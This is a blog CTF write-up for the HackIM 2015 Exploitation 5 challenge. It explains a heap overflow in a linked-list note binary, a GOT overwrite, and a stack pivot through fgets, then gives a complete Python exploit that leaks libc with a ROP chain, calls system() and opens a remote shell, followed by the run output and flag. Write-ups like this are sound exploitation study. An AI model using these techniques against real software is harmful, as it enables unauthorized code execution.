Friday, January 16, 2015

HACKIM CTF 2015 - Exploitation 5

Binary implements a circular linked list to store key:value pair. Each chunk is 32 bytes which looks like below
struct node{
    char key[16];
    int size;
    char *value;
    struct node *next;
    struct node *prev;
}
Vulnerability is similar to exploitation 4, size of value chunk is allocated based on user input and size info is stored. But during edit, this size info is not checked and one could overflow into adjacent chunk. To place the value chunk of 1st node right before 2nd note, I allocated it to be 32 byte similar to size of struct node. Now overflowing value chunk will overwrite pointers in 2nd node.

get@0x08048A6A feature provides a write anything anywhere primitive

*(_DWORD *)(*((_DWORD *)ptr_to_head + 6) + 28) = *((_DWORD *)ptr_to_head + 7); //current->next->previous = current->previous

*(_DWORD *)(*((_DWORD *)ptr_to_head + 7) + 24) = *((_DWORD *)ptr_to_head + 6); // current->previous->next = current->next
But NX is enabled, making above primitive hard as both the address needs to be writable. We have better primitive in edit@0x08048BDB feature. By overwriting value pointer, we could read() into arbitrary address. So the idea is to overwrite 3rd DWORD with address of some GOT entry.

Stack Pivot

I couldn't find any proper way to pivot stack into heap for ROP. So I used fgets() to overflow stack and make ESP point to user controlled buffer. Below is the idea

[*] Overwrite GOT entry of some function with address of text segment to setup fgets() call.
.text:08048E6C                 mov     eax, ds:stdin
.text:08048E71                 mov     [esp+8], eax    ; stream
.text:08048E75                 mov     dword ptr [esp+4], 255 ; n
.text:08048E7D                 lea     eax, [ebp+s]    ; lea  eax,[ebp-0x10c] 
.text:08048E83                 mov     [esp], eax      ; s
.text:08048E86                 call    _fgets  
[*] The lea eax,[ebp-0x10c] will end up in address lower in stack than the current stack frame, if the function has smaller stack frame
[*] Copying data into this stack might end up overwriting saved EIP before fgets() returns from libc

I decided to overwrite strncmp function, which gets called at 0x08048D59. This function has a small stack, thereby fgets overflows inside libc.
gdb-peda$ x/30x 0xfffa5fa4
0xfffa5fa4: 0xf760d483 0xf76dd000 0xf76ddc20 0x000000fe
0xfffa5fb4: 0xf76ddc20 0xf75a33e9 0x43434343 0x43434343
0xfffa5fc4: 0x43434343 0x43434343 0x43434343 0x43434343
0xfffa5fd4: 0x43434343 0x43434343 0x43434343 0x43434343
0xfffa5fe4: 0x43434343 0x43434343 0x43434343 0x43434343
0xfffa5ff4: 0x0a434343 0xf759748b 0xfffa5fbd 0xf76ff001
0xfffa6004: 0x0000003b 0x0000000e 0x0000000a 0x00000001
0xfffa6014: 0xfffa5fbd 0xf76ff03c
gdb-peda$ x/i 0xf759748b
   0xf759748b <_IO_getline_info+283>: mov    ecx,DWORD PTR [esp+0x1c]
64 bytes will overwrite the saved return address to _IO_getline_info. One can use ret as NOP if the offsets vary in remote machine.

Then libc address could be leaked and system@libc could be called to get shell

Below is the full exploit:
#!/usr/bin/env

import socket
import telnetlib
import struct
import time

ip = "127.0.0.1"
ip = "54.163.248.69"
port = 9005

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

msg = dict()
msg['SELECT']  = 'Select op (store/get/edit/exit): '
msg['NAME']    = 'Name: '
msg['SIZE']    = 'Size: '
msg['DATA']    = 'Enter data: '
msg['NEWDATA'] = 'Enter new data: '
msg['INVALID'] = 'Invalid input\n'

def recv_msg(delimiter):
    global soc
    rbuffer = ''
    while not rbuffer.endswith(delimiter):
        rbuffer += soc.recv(1)
    return rbuffer

def send_msg(m):
    global soc
    soc.send(m + chr(0xa))

# create first note
print "[*] Creating 1st node"
recv_msg(msg['SELECT'])
send_msg('store')
recv_msg(msg['NAME'])
send_msg('A')
recv_msg(msg['SIZE'])
send_msg('32')
recv_msg(msg['DATA'])
send_msg('AAAA')
send_msg('')

# create second note
print "[*] Creating 2nd node"
recv_msg(msg['SELECT'])
send_msg('store')
recv_msg(msg['NAME'])
send_msg('B')
recv_msg(msg['SIZE'])
send_msg('32')
recv_msg(msg['DATA'])
send_msg('BBBB')
send_msg('')

#edit first note to overflow into second note
print "[*] Overflowing into 2nd node, setting up strncmp() for overwrite"
recv_msg(msg['SELECT'])
send_msg('edit')
recv_msg(msg['NAME'])
send_msg('A')
recv_msg(msg['SIZE'])
send_msg('256')
recv_msg(msg['NEWDATA'])

got_strncmp = 0x0804b058
payload  = "H" * 40     # overflow
payload += "B" + chr(0)*15                # key
payload += struct.pack("<I", 32)    # size
payload += struct.pack("<I", got_strncmp) # ptr to value, overwrite with GOT entry of strncmp

send_msg(payload)
recv_msg(msg['INVALID'])

#edit second note to trigger the crash
print "[*] Overwriting strncmp() to pivot stack using fgets()"
recv_msg(msg['SELECT']) 
send_msg('edit')
recv_msg(msg['NAME'])
send_msg('B')
recv_msg(msg['SIZE'])
send_msg('256')
recv_msg(msg['NEWDATA'])
fgets_ret = 0x08048E6C
send_msg(struct.pack("<I", fgets_ret)) # pivot stack by overflowing stack inside fgets

# trigger stack based buffer overflow
print "[*] Creating buffer overflow inside fgets()"
recv_msg(msg['SELECT']) 


got_libc_start_main= 0x0804b044
rop  = "C"*60
# read GOT entry of __libc_start_main
rop += struct.pack("<I", 0x080486c6) # write@plt+6
rop += struct.pack("<I", 0x08048f4d) # pop esi ; pop edi ; pop ebp ; ret
rop += struct.pack("<I", 0x00000001)
rop += struct.pack("<I", got_libc_start_main)
rop += struct.pack("<I", 0x00000004)

# overwrite GOT entry of strcmp with system()
rop += struct.pack("<I", 0x080485e6) # read@plt+6
rop += struct.pack("<I", 0x08048f4d) # pop esi ; pop edi ; pop ebp ; ret
rop += struct.pack("<I", 0x00000000)
rop += struct.pack("<I", 0x0804b00c)
rop += struct.pack("<I", 0x00000004)
sh_string = 0x8048386
rop += struct.pack("<I", 0x080485d0) # plt@strcmp
rop += struct.pack("<I", 0xdeadbeef) 
rop += struct.pack("<I", sh_string)  # sh -> /bin/sh
send_msg(rop)

print "[*] Leaking libc address"
leaked_libc_start = soc.recv(4)
leaked_libc_start = struct.unpack("<I", leaked_libc_start)[0]
print "[*] Address of __libc_start_main() : %s" % hex(leaked_libc_start)

system_offset = 0x26770
system_addres = leaked_libc_start + system_offset
print "[*] Address of system() : %s" % hex(system_addres)
system_addres = struct.pack("<I", leaked_libc_start + system_offset)
send_msg(system_addres)

print "[*] Shell"
s = telnetlib.Telnet()
s.sock = soc
s.interact()
renorobert@ubuntu:~/HackIM/mixmes$ python sploit_mixme_poc.py 
[*] Creating 1st node
[*] Creating 2nd node
[*] Overflowing into 2nd node, setting up strncmp() for overwrite
[*] Overwriting strncmp() to pivot stack using fgets()
[*] Creating buffer overflow inside fgets()
[*] Leaking libc address
[*] Address of __libc_start_main() : 0xb75f9990
[*] Address of system() : 0xb7620100
[*] Shell
cat flag.txt
aw3s0m3++_hipp1e_pwn_r0ckst4r
Flag for the challenge is aw3s0m3++_hipp1e_pwn_r0ckst4r

No comments :

Post a Comment